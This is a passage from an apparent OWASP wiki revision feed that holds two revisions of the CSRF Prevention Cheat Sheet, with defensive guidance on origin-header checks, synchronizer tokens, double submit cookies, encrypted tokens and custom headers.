If storing the CSRF token in session is problematic, an alternative defense is use of a double submit cookie. A double submit cookie is defined as sending a random value in both a cookie and as a request parameter, with the server verifying if the cookie value and request value match. &lt;br /&gt;
&lt;br /&gt;
When a user authenticates to a site, the site should generate a (cryptographically strong) pseudorandom value and set it as a cookie on the user's machine separate from the session id. The site does not have to save this value in any way, thus avoiding server side state. The site then requires that every transaction request include this random value as a hidden form value (or other request parameter). A cross origin attacker cannot read any data sent from the server or modify cookie values, per the same-origin policy. This means that while an attacker can force a victim to send any value he wants with a malicious CSRF request, the attacker will be unable to modify or read the value stored in the cookie. Since the cookie value and the request parameter or form value must be the same, the attacker will be unable to successfully force the submission of a request with the random CSRF value.&lt;br /&gt;
&lt;br /&gt;
As an example, the [http://directwebremoting.org Direct Web Remoting (DWR)] Java library version 2.0 has CSRF protection built in that implements the double cookie submission transparently.&lt;br /&gt;
&lt;br /&gt;
When the UI and the function service reside in different hosts, the Double Submit Cookie guard turns difficult to implement because the UI body and the Set-Cookie response header will be generated as part of different requests to different processes.  The Set-Cookie response header would need to be induced by a request from the client javascript.  In that case, making sure that both the UI and the service request came from a client serviced by the same UI origin appears as difficult as the original issue.&lt;br /&gt;
&lt;br /&gt;
=== Encrypted Token Pattern ===&lt;br /&gt;
&lt;br /&gt;
The Encrypted Token Pattern leverages an encryption, rather than comparison, method of Token-validation. After successful authentication, the server generates a unique Token comprised of the user's ID, a timestamp value and a [http://en.wikipedia.org/wiki/Cryptographic_nonce nonce], using a unique key available only on the server. This Token is returned to the client and embedded in a hidden field. Subsequent AJAX requests include this Token in the request-header, in a similar manner to the Double-Submit pattern. Non-AJAX form-based requests will implicitly persist the Token in its hidden field. On receipt of this request, the server reads and decrypts the Token value with the same key used to create the Token. Inability to correctly decrypt suggest an intrusion attempt. Once decrypted, the UserId and timestamp contained within the token are validated to ensure validity; the UserId is compared against the currently logged in user, and the timestamp is compared against the current time.&lt;br /&gt;
&lt;br /&gt;
On successful Token-decryption, the server has access to parsed values, ideally in the form of [http://en.wikipedia.org/wiki/Claims-based_identity claims]. These claims are processed by comparing the UserId claim to any potentially stored UserId (in a Cookie or Session variable, if the site already contains a means of authentication). The Timestamp is validated against the current time, preventing replay attacks.&lt;br /&gt;
Alternatively, in the case of a CSRF attack, the server will be unable to decrypt the poisoned Token, and can block and log the attack.&lt;br /&gt;
&lt;br /&gt;
This pattern exists primarily to allow developers and architects protect against CSRF without session-dependency. It also addresses some of the shortfalls in other stateless approaches, such as the need to store data in a Cookie, circumnavigating the Cookie-subdomain and HTTPONLY issues.&lt;br /&gt;
&lt;br /&gt;
=== Protecting REST Services: Use of Custom Request Headers ===&lt;br /&gt;
&lt;br /&gt;
Adding CSRF tokens, a double submit cookie and value, encrypted token, or other defense that involves changing the UI can frequently be complex or otherwise problematic. An alternate defense which is particularly well suited for AJAX endpoints is the use of a custom request header. This defense relies on the [https://en.wikipedia.org/wiki/Same-origin_policy same-origin policy (SOP)] restriction that only JavaScript can be used to add a custom header, and only within its origin. By default, browsers don't allow JavaScript to make cross origin requests.&lt;br /&gt;
&lt;br /&gt;
A particularly attractive custom header and value to use is:&lt;br /&gt;
* X-Requested-With: XMLHttpRequest&lt;br /&gt;
because most JavaScript libraries already add this header to requests they generate by default. Some do not though. For example, AngularJS used to, but doesn't anymore. [https://github.com/angular/angular.js/commit/3a75b1124d062f64093a90b26630938558909e8d Their rationale and how to add it back is here].&lt;br /&gt;
&lt;br /&gt;
If this is the case for your system, you can simply verify the presence of this header and value on all your server side AJAX endpoints in order to protect against CSRF attacks. This approach has the double advantage of usually requiring no UI changes and not introducing any server side state, which is particularly attractive to REST services. You can always add your own custom header and value if that is preferred.&lt;br /&gt;
&lt;br /&gt;
This defense technique is specifically discussed in section 4.3 of [https://seclab.stanford.edu/websec/csrf/csrf.pdf Robust Defenses for Cross-Site Request Forgery]. However, bypasses of this defense using Flash were documented as early as 2008 and again as recently as 2015 by [https://hackerone.com/reports/44146 Mathias Karlsson to exploit a CSRF flaw in Vimeo]. But, we believe that the Flash attack can't spoof the Origin or Referer headers so by checking both of them we believe this combination of checks should prevent Flash bypass CSRF attacks. (NOTE: If anyone can confirm or refute this belief, please let us know so we can update this article)&lt;br /&gt;
&lt;br /&gt;
= Alternate CSRF Defense: Require User Interaction =&lt;br /&gt;
&lt;br /&gt;
Sometimes its easier or more appropriate to involve the user in the transaction in order to prevent unauthorized transactions (forged or otherwise).&lt;br /&gt;
&lt;br /&gt;
The following are some examples of challenge-response options:&lt;br /&gt;
&lt;br /&gt;
*Re-Authentication (password or stronger)&lt;br /&gt;
*One-time Token&lt;br /&gt;
*CAPTCHA&lt;br /&gt;
&lt;br /&gt;
While challenge-response is a very strong defense against CSRF (assuming proper implementation), it does impact user experience. For applications in need of high security, tokens (transparent) and challenge-response should be used on high risk functions.&lt;br /&gt;
&lt;br /&gt;
An example of a transparent use of security tokens that doesn't impact the user experience is the use of transaction IDs. Imagine a user wants to initiate a transaction, like send money via PayPal.&lt;br /&gt;
&lt;br /&gt;
* In Step 1: the user provides the email address and the amount of money they want to send.&lt;br /&gt;
** The server responds with a confirmation dialog that includes a unique transaction ID for this money transfer.&lt;br /&gt;
* In Step 2: the user confirms the proposed transaction. &lt;br /&gt;
** The confirmation request includes the transaction ID generated in step 1. If the server verifies the transaction ID as part of this step, this prevents CSRF against this transaction flow without using a CSRF specific defense token. The transaction ID as part of the confirm essentially serves as the CSRF defense if the attacker cannot predict this value, The transaction ID 'should' be random/unguessable. Ideally, not just the next transaction number in a growing by one list of transaction IDs.&lt;br /&gt;
&lt;br /&gt;
This is just one example of site's behavior that might naturally protect certain state changing events against CSRF attacks.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Prevention Measures That Do NOT Work =&lt;br /&gt;
&lt;br /&gt;
For more information on prevention measures that do NOT work, please see the [[Cross-Site_Request_Forgery_(CSRF)#Prevention_measures_that_do_NOT_work | OWASP CSRF article]].&lt;br /&gt;
&lt;br /&gt;
= Personal Safety CSRF Tips for Users =&lt;br /&gt;
&lt;br /&gt;
Since CSRF vulnerabilities are reportedly widespread, it is recommended to follow the following best practices to mitigate risk. These include: &lt;br /&gt;
&lt;br /&gt;
* Logoff immediately after using a Web application &lt;br /&gt;
* Do not allow your browser to save username/passwords, and do not allow sites to “remember” your login &lt;br /&gt;
* Do not use the same browser to access sensitive applications and to surf the Internet freely (tabbed browsing). &lt;br /&gt;
* The use of plugins such as No-Script makes POST based CSRF vulnerabilities difficult to exploit.  This is because JavaScript is used to automatically submit the form when the exploit is loaded. Without JavaScript the attacker would have to trick the user into submitting the form manually. &lt;br /&gt;
&lt;br /&gt;
Integrated HTML-enabled mail/browser and newsreader/browser environments pose additional risks since simply viewing a mail message or a news message might lead to the execution of an attack.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
Dave Wichers - dave.wichers[at]owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Paul Petefish - https://www.linkedin.com/in/paulpetefish&amp;lt;br/&amp;gt;&lt;br /&gt;
Eric Sheridan - eric.sheridan[at]owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Other Cheatsheets ==&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]][[Category:Popular]]&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=227654</id>
		<title>Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=227654"/>
				<updated>2017-03-20T14:49:57Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: /* Double Submit Cookie */ +a limitation in the Double Submit Cookie guard&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&lt;br /&gt;
[[Cross-Site Request Forgery (CSRF)]] is a type of attack that occurs when a malicious web site, email, blog, instant message, or program causes a user’s web browser to perform an unwanted action on a trusted site for which the user is currently authenticated. The impact of a successful CSRF attack is limited to the capabilities exposed by the vulnerable application. For example, this attack could result in a transfer of funds, changing a password, or purchasing an item in the user's context. In effect, CSRF attacks are used by an attacker to make a target system perform a function via the target's browser without knowledge of the target user, at least until the unauthorized transaction has been committed.&lt;br /&gt;
&lt;br /&gt;
Impacts of successful CSRF exploits vary greatly based on the privileges of each victim. When targeting a normal user, a successful CSRF attack can compromise end-user data and their associated functions. If the targeted end user is an administrator account, a CSRF attack can compromise the entire web application. Sites that are more likely to be attacked by CSRF are community websites (social networking, email) or sites that have high dollar value accounts associated with them (banks, stock brokerages, bill pay services). Utilizing social engineering, an attacker can embed malicious HTML or JavaScript code into an email or website to request a specific 'task URL'. The task then executes with or without the user's knowledge, either directly or by utilizing a Cross-Site Scripting flaw (ex: Samy MySpace Worm).&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF, please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
== Warning: No Cross-Site Scripting (XSS) Vulnerabilities ==&lt;br /&gt;
&lt;br /&gt;
[[Cross-Site Scripting]] is not necessary for CSRF to work. However, any cross-site scripting vulnerability can be used to defeat token, Double-Submit cookie, referer and origin based CSRF defenses.  This is because an XSS payload can simply read any page on the site using a XMLHttpRequest and obtain the generated token from the response, and include that token with a forged request. This technique is exactly how the [http://en.wikipedia.org/wiki/Samy_(XSS) MySpace (Samy) worm] defeated MySpace's anti-CSRF defenses in 2005, which enabled the worm to propagate. XSS cannot defeat challenge-response defenses such as Captcha, re-authentication or one-time passwords. It is imperative that no XSS vulnerabilities are present to ensure that CSRF defenses can't be circumvented. Please see the OWASP [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | XSS Prevention Cheat Sheet]] for detailed guidance on how to prevent XSS flaws.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= General Recommendations For Automated CSRF Defense =&lt;br /&gt;
&lt;br /&gt;
We recommend two separate checks as your standard CSRF defense that does not require user intervention. This discussion ignores for the moment deliberately allowed cross origin requests (e.g., CORS). Your defenses will have to adjust for that if that is allowed.&lt;br /&gt;
&lt;br /&gt;
# Check standard headers to verify the request is same origin&lt;br /&gt;
# AND Check CSRF token&lt;br /&gt;
&lt;br /&gt;
Each of these is discussed next.&lt;br /&gt;
&lt;br /&gt;
== Verifying Same Origin with Standard Headers ==&lt;br /&gt;
&lt;br /&gt;
There are two steps to this check:&lt;br /&gt;
&lt;br /&gt;
# Determining the origin the request is coming from (source origin)&lt;br /&gt;
# Determining the origin the request is going to (target origin)&lt;br /&gt;
&lt;br /&gt;
Both of these steps rely on examining an HTTP request header value. Although it is usually trivial to spoof any header from a browser using JavaScript, it is generally impossible to do so in the victim's browser during a CSRF attack, except via an XSS vulnerability in the site being attacked with CSRF. More importantly for this recommended Same Origin check, a number of HTTP request headers can't be set by JavaScript because they are on the [https://developer.mozilla.org/en-US/docs/Glossary/Forbidden_header_name 'forbidden' headers list]. Only the browsers themselves can set values for these headers, making them more trustworthy because not even an XSS vulnerability can be used to modify them.&lt;br /&gt;
&lt;br /&gt;
The Source Origin check recommended here relies on three of these protected headers: Origin, Referer, and Host, making it a pretty strong CSRF defense all on its own.&lt;br /&gt;
&lt;br /&gt;
=== Identifying Source Origin ===&lt;br /&gt;
&lt;br /&gt;
To identify the source origin, we recommend using one of these two standard headers that almost all requests include one or both of:&lt;br /&gt;
&lt;br /&gt;
* Origin Header&lt;br /&gt;
* Referer Header&lt;br /&gt;
&lt;br /&gt;
==== Checking the Origin Header ====&lt;br /&gt;
If the Origin header is present, verify its value matches the target origin. The [https://wiki.mozilla.org/Security/Origin Origin HTTP Header] standard was introduced as a method of defending against CSRF and other Cross-Domain attacks.  Unlike the Referer, the Origin header will be present in HTTP requests that originate from an HTTPS URL. If the Origin header is present, then it should be checked to make sure it matches the target origin.&lt;br /&gt;
&lt;br /&gt;
This defense technique is specifically proposed in section 5.0 of [https://seclab.stanford.edu/websec/csrf/csrf.pdf Robust Defenses for Cross-Site Request Forgery]. This paper proposes the creation of the Origin header and its use as a CSRF defense mechanism.&lt;br /&gt;
&lt;br /&gt;
There are some situations where the Origin header is not present.&lt;br /&gt;
* [http://stackoverflow.com/questions/20784209/internet-explorer-11-does-not-add-the-origin-header-on-a-cors-request Internet Explorer 11 does not add the Origin header on a CORS request] across sites of a trusted zone.  The Referer header will remain the only indication of the UI origin.&lt;br /&gt;
* [http://stackoverflow.com/questions/22397072/are-there-any-browsers-that-set-the-origin-header-to-null-for-privacy-sensitiv Following a 302 redirect cross-origin]. In this situation, the Origin is not included in the redirected request because that may be considered sensitive information you don't want to send to the other origin. But since we recommend rejecting requests that don't have both Origin and Referer headers, this is OK, because the reason the Origin header isn't there is because it is a cross-origin redirect.&lt;br /&gt;
&lt;br /&gt;
==== Checking the Referer Header ====&lt;br /&gt;
If the Origin header is not present, verify the hostname in the Referer header matches the target origin. Checking the Referer is a commonly used method of preventing CSRF on embedded network devices because it does not require any per-user state.  This makes Referer a useful method of CSRF prevention when memory is scarce or server-side state doesn't exist.  This method of CSRF mitigation is also commonly used with unauthenticated requests, such as requests made prior to establishing a session state which is required to keep track of a synchronization token. &lt;br /&gt;
&lt;br /&gt;
In both cases, just make sure the target origin check is strong. For example, if your site is &amp;quot;site.com&amp;quot; make sure &amp;quot;site.com.attacker.com&amp;quot; doesn't pass your origin check (i.e., match through the trailing / after the origin to make sure you are matching against the entire origin).&lt;br /&gt;
&lt;br /&gt;
==== What to do when Both Origin and Referer Headers Aren't Present ====&lt;br /&gt;
&lt;br /&gt;
If neither of these headers is present, which should be VERY rare, you can either accept or block the request. '''We recommend blocking''', particularly if you aren't using a random CSRF token as your second check. You might want to log when this happens for a while and if you basically never see it, start blocking such requests.&lt;br /&gt;
&lt;br /&gt;
=== Identifying the Target Origin ===&lt;br /&gt;
&lt;br /&gt;
You might think its easy to determine the target origin, but its frequently not. The first thought is to simply grab the target origin (i.e., its hostname and port #) from the URL in the request. However, the application server is frequently sitting behind one or more proxies and the original URL is different from the URL the app server actually receives. If your application server is directly accessed by its users, then using the origin in the URL is fine and you're all set.&lt;br /&gt;
&lt;br /&gt;
==== Determining the Target Origin When Behind a Proxy ====&lt;br /&gt;
&lt;br /&gt;
If you are behind a proxy, there are a number of options to consider:&lt;br /&gt;
&lt;br /&gt;
# Configure your application to simply know its target origin&lt;br /&gt;
# Use the Host header value&lt;br /&gt;
# Use the X-Forwarded-Host header value&lt;br /&gt;
&lt;br /&gt;
Its your application, so clearly you can figure out its target origin and set that value in some server configuration entry. This would be the most secure approach as its defined server side so is a trusted value. However, this can be problematic to maintain if your application is deployed in many different places, e.g., dev, test, QA, production, and possibly multiple production instances. Setting the correct value for each of these situations can be difficult, but if you can do it, that's great.&lt;br /&gt;
&lt;br /&gt;
If you would prefer the application figure it out on its own, so it doesn't have to be configured differently for each deployed instance, we recommend using the Host family of headers. The Host header's purpose is to contain the target origin of the request. But, if your app server is sitting behind a proxy, the Host header value is most likely changed by the proxy to the target origin of the URL behind the proxy, which is different than the original URL. This modified Host header origin won't match the source origin in the original Origin or Referer headers.&lt;br /&gt;
&lt;br /&gt;
However, there is another header called X-Forwarded-Host, whose purpose is to contain the original Host header value the proxy received. Most proxies will pass along the original Host header value in the X-Forwarded-Host header. So that header value is likely to be the target origin value you need to compare to the source origin in the Origin or Referer header.&lt;br /&gt;
&lt;br /&gt;
=== Verifying the Two Origins Match ===&lt;br /&gt;
&lt;br /&gt;
Once you've identified the source origin (from either the Origin or Referer header), and you've determined the target origin, however you choose to do so, then you can simply compare the two values and if they don't match you know you have a cross-origin request.&lt;br /&gt;
&lt;br /&gt;
== CSRF Specific Defense ==&lt;br /&gt;
&lt;br /&gt;
Once you have verified that the request appears to be a same origin request so far, we recommend a second check as an additional precaution to really make sure. This second check can involve custom defense mechanisms using CSRF specific tokens created and verified by your application or can rely on the presence of other HTTP headers depending on the level of rigor/security you want.&lt;br /&gt;
&lt;br /&gt;
There are numerous ways you can specifically defend against CSRF. We recommend using one of the following (in ADDITION to the check recommended above):&lt;br /&gt;
&lt;br /&gt;
1. Synchronizer (i.e.,CSRF) Tokens (requires session state)&lt;br /&gt;
&lt;br /&gt;
Approaches that do require no server side state:&lt;br /&gt;
&lt;br /&gt;
2. Double Cookie Defense&amp;lt;br /&amp;gt;&lt;br /&gt;
3. Encrypted Token Pattern&amp;lt;br /&amp;gt;&lt;br /&gt;
4. Custom Header - e.g., X-Requested-With: XMLHttpRequest&lt;br /&gt;
&lt;br /&gt;
These are listed in order of strength of defense. So use the strongest defense that makes sense in your situation.&lt;br /&gt;
&lt;br /&gt;
=== Synchronizer (CSRF) Tokens ===&lt;br /&gt;
&lt;br /&gt;
* Any state changing operation requires a secure random token (e.g., CSRF token) to prevent CSRF attacks&lt;br /&gt;
* Characteristics of a CSRF Token&lt;br /&gt;
** Unique per user session&lt;br /&gt;
** Large random value&lt;br /&gt;
** Generated by a cryptographically secure random number generator &lt;br /&gt;
* The CSRF token is added as a hidden field for forms or within the URL if the state changing operation occurs via a GET&lt;br /&gt;
* The server rejects the requested action if the CSRF token fails validation&lt;br /&gt;
&lt;br /&gt;
In order to facilitate a &amp;quot;transparent but visible&amp;quot; CSRF solution, developers are encouraged to adopt the Synchronizer Token Pattern (http://www.corej2eepatterns.com/Design/PresoDesign.htm). The synchronizer token pattern requires the generating of random &amp;quot;challenge&amp;quot; tokens that are associated with the user's current session. These challenge tokens are then inserted within the HTML forms and links associated with sensitive server-side operations. When the user wishes to invoke these sensitive operations, the HTTP request should include this challenge token. It is then the responsibility of the server application to verify the existence and correctness of this token. By including a challenge token with each request, the developer has a strong control to verify that the user actually intended to submit the desired requests. Inclusion of a required security token in HTTP requests associated with sensitive business functions helps mitigate CSRF attacks as successful exploitation assumes the attacker knows the randomly generated token for the target victim's session. This is analogous to the attacker being able to guess the target victim's session identifier. The following synopsis describes a general approach to incorporate challenge tokens within the request.&lt;br /&gt;
&lt;br /&gt;
When a Web application formulates a request (by generating a link or form that causes a request when submitted or clicked by the user), the application should include a hidden input parameter with a common name such as &amp;quot;CSRFToken&amp;quot;. The value of this token must be randomly generated such that it cannot be guessed by an attacker. Consider leveraging the java.security.SecureRandom class for Java applications to generate a sufficiently long random token. Alternative generation algorithms include the use of 256-bit BASE64 encoded hashes. Developers that choose this generation algorithm must make sure that there is randomness and uniqueness utilized in the data that is hashed to generate the random token.&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;form action=&amp;quot;/transfer.do&amp;quot; method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;CSRFToken&amp;quot; &lt;br /&gt;
   value=&amp;quot;OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWE...&lt;br /&gt;
   wYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZ...&lt;br /&gt;
   MGYwMGEwOA==&amp;quot;&amp;gt;&lt;br /&gt;
   …&lt;br /&gt;
   &amp;lt;/form&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In general, developers need only generate this token once for the current session. After initial generation of this token, the value is stored in the session and is utilized for each subsequent request until the session expires. When a request is issued by the end-user, the server-side component must verify the existence and validity of the token in the request as compared to the token found in the session. If the token was not found within the request or the value provided does not match the value within the session, then the request should be aborted, token should be reset and the event logged as a potential CSRF attack in progress.&lt;br /&gt;
&lt;br /&gt;
To further enhance the security of this proposed design, consider randomizing the CSRF token parameter name and/or value for each request. Implementing this approach results in the generation of per-request tokens as opposed to per-session tokens. Note, however, that this may result in usability concerns. For example, the &amp;quot;Back&amp;quot; button browser capability is often hindered as the previous page may contain a token that is no longer valid. Interaction with this previous page will result in a CSRF false positive security event at the server. Regardless of the approach taken, developers are encouraged to protect the CSRF token the same way they protect authenticated session identifiers, such as the use of TLS.&lt;br /&gt;
&lt;br /&gt;
==== Existing Synchronizer Implementations ====&lt;br /&gt;
&lt;br /&gt;
Synchronizer Token defenses have been built into many frameworks so we strongly recommend using them first when they are available. External components that add CSRF defenses to existing applications also exist and are recommended. OWASP has two:&lt;br /&gt;
&lt;br /&gt;
# For Java: OWASP [[CSRF Guard]]&lt;br /&gt;
# For PHP and Apache: [[CSRFProtector Project]]&lt;br /&gt;
&lt;br /&gt;
==== Disclosure of Token in URL ====&lt;br /&gt;
&lt;br /&gt;
Many implementations of synchronizer tokens include the challenge token in GET (URL) requests as well as POST requests. This is often implemented as a result of sensitive server-side operations being invoked as a result of embedded links in the page or other general design patterns. These patterns are often implemented without knowledge of CSRF and an understanding of CSRF prevention design strategies. While this control does help mitigate the risk of CSRF attacks, the unique per-session token is being exposed for GET requests. CSRF tokens in GET requests are potentially leaked at several locations: browser history, HTTP log files, network appliances that make a point to log the first line of an HTTP request, and Referer headers if the protected site links to an external site.&lt;br /&gt;
&lt;br /&gt;
In the latter case (leaked CSRF token due to the Referer header being parsed by a linked site), it is trivially easy for the linked site to launch a CSRF attack on the protected site, and they will be able to target this attack very effectively, since the Referer header tells them the site as well as the CSRF token. The attack could be run entirely from JavaScript, so that a simple addition of a script tag to the HTML of a site can launch an attack (whether on an originally malicious site or on a hacked site). Additionally, since HTTPS requests from HTTPS contexts will not strip the Referer header (as opposed to HTTPS to HTTP requests) CSRF token leaks via Referer can still happen on HTTPS Applications.&lt;br /&gt;
&lt;br /&gt;
The ideal solution is to only include the CSRF token in POST requests and modify server-side actions that have state changing affect to only respond to POST requests. This is in fact what the [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.1.1 RFC 2616] requires for GET requests. If sensitive server-side actions are guaranteed to only ever respond to POST requests, then there is no need to include the token in GET requests.&lt;br /&gt;
&lt;br /&gt;
In most JavaEE web applications, however, HTTP method scoping is rarely ever utilized when retrieving HTTP parameters from a request. Calls to &amp;quot;HttpServletRequest.getParameter&amp;quot; will return a parameter value regardless if it was a GET or POST. This is not to say HTTP method scoping cannot be enforced. It can be achieved if a developer explicitly overrides doPost() in the HttpServlet class or leverages framework specific capabilities such as the AbstractFormController class in Spring.&lt;br /&gt;
&lt;br /&gt;
For these cases, attempting to retrofit this pattern in existing applications requires significant development time and cost, and as a temporary measure it may be better to pass CSRF tokens in the URL. Once the application has been fixed to respond to HTTP GET and POST verbs correctly, CSRF tokens for GET requests should be turned off.&lt;br /&gt;
&lt;br /&gt;
==== ASP.NET, MVC and .NET Web Pages ====&lt;br /&gt;
&lt;br /&gt;
.NET provides comprehensive CSRF defense. For more information visit the following resources.&lt;br /&gt;
* https://msdn.microsoft.com/en-us/library/ms972969.aspx#securitybarriers_topic2&lt;br /&gt;
* http://software-security.sans.org/developer-how-to/developer-guide-csrf&lt;br /&gt;
&lt;br /&gt;
=== Double Submit Cookie ===&lt;br /&gt;
&lt;br /&gt;
If storing the CSRF token in session is problematic, an alternative defense is use of a double submit cookie. A double submit cookie is defined as sending a random value in both a cookie and as a request parameter, with the server verifying if the cookie value and request value match. &lt;br /&gt;
&lt;br /&gt;
When a user authenticates to a site, the site should generate a (cryptographically strong) pseudorandom value and set it as a cookie on the user's machine separate from the session id. The site does not have to save this value in any way, thus avoiding server side state. The site then requires that every transaction request include this random value as a hidden form value (or other request parameter). A cross origin attacker cannot read any data sent from the server or modify cookie values, per the same-origin policy. This means that while an attacker can force a victim to send any value he wants with a malicious CSRF request, the attacker will be unable to modify or read the value stored in the cookie. Since the cookie value and the request parameter or form value must be the same, the attacker will be unable to successfully force the submission of a request with the random CSRF value.&lt;br /&gt;
&lt;br /&gt;
As an example, the [http://directwebremoting.org Direct Web Remoting (DWR)] Java library version 2.0 has CSRF protection built in that implements the double cookie submission transparently.&lt;br /&gt;
&lt;br /&gt;
When the UI and the function service reside in different hosts, the Double Submit Cookie guard turns difficult to implement because the UI body and the Set-Cookie response headers will be generated as part of different requests to different processes.&lt;br /&gt;
&lt;br /&gt;
=== Encrypted Token Pattern ===&lt;br /&gt;
&lt;br /&gt;
The Encrypted Token Pattern leverages an encryption, rather than comparison, method of Token-validation. After successful authentication, the server generates a unique Token comprised of the user's ID, a timestamp value and a [http://en.wikipedia.org/wiki/Cryptographic_nonce nonce], using a unique key available only on the server. This Token is returned to the client and embedded in a hidden field. Subsequent AJAX requests include this Token in the request-header, in a similar manner to the Double-Submit pattern. Non-AJAX form-based requests will implicitly persist the Token in its hidden field. On receipt of this request, the server reads and decrypts the Token value with the same key used to create the Token. Inability to correctly decrypt suggest an intrusion attempt. Once decrypted, the UserId and timestamp contained within the token are validated to ensure validity; the UserId is compared against the currently logged in user, and the timestamp is compared against the current time.&lt;br /&gt;
&lt;br /&gt;
On successful Token-decryption, the server has access to parsed values, ideally in the form of [http://en.wikipedia.org/wiki/Claims-based_identity claims]. These claims are processed by comparing the UserId claim to any potentially stored UserId (in a Cookie or Session variable, if the site already contains a means of authentication). The Timestamp is validated against the current time, preventing replay attacks.&lt;br /&gt;
Alternatively, in the case of a CSRF attack, the server will be unable to decrypt the poisoned Token, and can block and log the attack.&lt;br /&gt;
&lt;br /&gt;
This pattern exists primarily to allow developers and architects protect against CSRF without session-dependency. It also addresses some of the shortfalls in other stateless approaches, such as the need to store data in a Cookie, circumnavigating the Cookie-subdomain and HTTPONLY issues.&lt;br /&gt;
&lt;br /&gt;
=== Protecting REST Services: Use of Custom Request Headers ===&lt;br /&gt;
&lt;br /&gt;
Adding CSRF tokens, a double submit cookie and value, encrypted token, or other defense that involves changing the UI can frequently be complex or otherwise problematic. An alternate defense which is particularly well suited for AJAX endpoints is the use of a custom request header. This defense relies on the [https://en.wikipedia.org/wiki/Same-origin_policy same-origin policy (SOP)] restriction that only JavaScript can be used to add a custom header, and only within its origin. By default, browsers don't allow JavaScript to make cross origin requests.&lt;br /&gt;
&lt;br /&gt;
A particularly attractive custom header and value to use is:&lt;br /&gt;
* X-Requested-With: XMLHttpRequest&lt;br /&gt;
because most JavaScript libraries already add this header to requests they generate by default. Some do not though. For example, AngularJS used to, but doesn't anymore. [https://github.com/angular/angular.js/commit/3a75b1124d062f64093a90b26630938558909e8d Their rationale and how to add it back is here].&lt;br /&gt;
&lt;br /&gt;
If this is the case for your system, you can simply verify the presence of this header and value on all your server side AJAX endpoints in order to protect against CSRF attacks. This approach has the double advantage of usually requiring no UI changes and not introducing any server side state, which is particularly attractive to REST services. You can always add your own custom header and value if that is preferred.&lt;br /&gt;
&lt;br /&gt;
This defense technique is specifically discussed in section 4.3 of [https://seclab.stanford.edu/websec/csrf/csrf.pdf Robust Defenses for Cross-Site Request Forgery]. However, bypasses of this defense using Flash were documented as early as 2008 and again as recently as 2015 by [https://hackerone.com/reports/44146 Mathias Karlsson to exploit a CSRF flaw in Vimeo]. But, we believe that the Flash attack can't spoof the Origin or Referer headers so by checking both of them we believe this combination of checks should prevent Flash bypass CSRF attacks. (NOTE: If anyone can confirm or refute this belief, please let us know so we can update this article)&lt;br /&gt;
&lt;br /&gt;
= Alternate CSRF Defense: Require User Interaction =&lt;br /&gt;
&lt;br /&gt;
Sometimes its easier or more appropriate to involve the user in the transaction in order to prevent unauthorized transactions (forged or otherwise).&lt;br /&gt;
&lt;br /&gt;
The following are some examples of challenge-response options:&lt;br /&gt;
&lt;br /&gt;
*Re-Authentication (password or stronger)&lt;br /&gt;
*One-time Token&lt;br /&gt;
*CAPTCHA&lt;br /&gt;
&lt;br /&gt;
While challenge-response is a very strong defense against CSRF (assuming proper implementation), it does impact user experience. For applications in need of high security, tokens (transparent) and challenge-response should be used on high risk functions.&lt;br /&gt;
&lt;br /&gt;
An example of a transparent use of security tokens that doesn't impact the user experience is the use of transaction IDs. Imagine a user wants to initiate a transaction, like send money via PayPal.&lt;br /&gt;
&lt;br /&gt;
* In Step 1: the user provides the email address and the amount of money they want to send.&lt;br /&gt;
** The server responds with a confirmation dialog that includes a unique transaction ID for this money transfer.&lt;br /&gt;
* In Step 2: the user confirms the proposed transaction. &lt;br /&gt;
** The confirmation request includes the transaction ID generated in step 1. If the server verifies the transaction ID as part of this step, this prevents CSRF against this transaction flow without using a CSRF specific defense token. The transaction ID as part of the confirm essentially serves as the CSRF defense if the attacker cannot predict this value, The transaction ID 'should' be random/unguessable. Ideally, not just the next transaction number in a growing by one list of transaction IDs.&lt;br /&gt;
&lt;br /&gt;
This is just one example of site's behavior that might naturally protect certain state changing events against CSRF attacks.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Prevention Measures That Do NOT Work =&lt;br /&gt;
&lt;br /&gt;
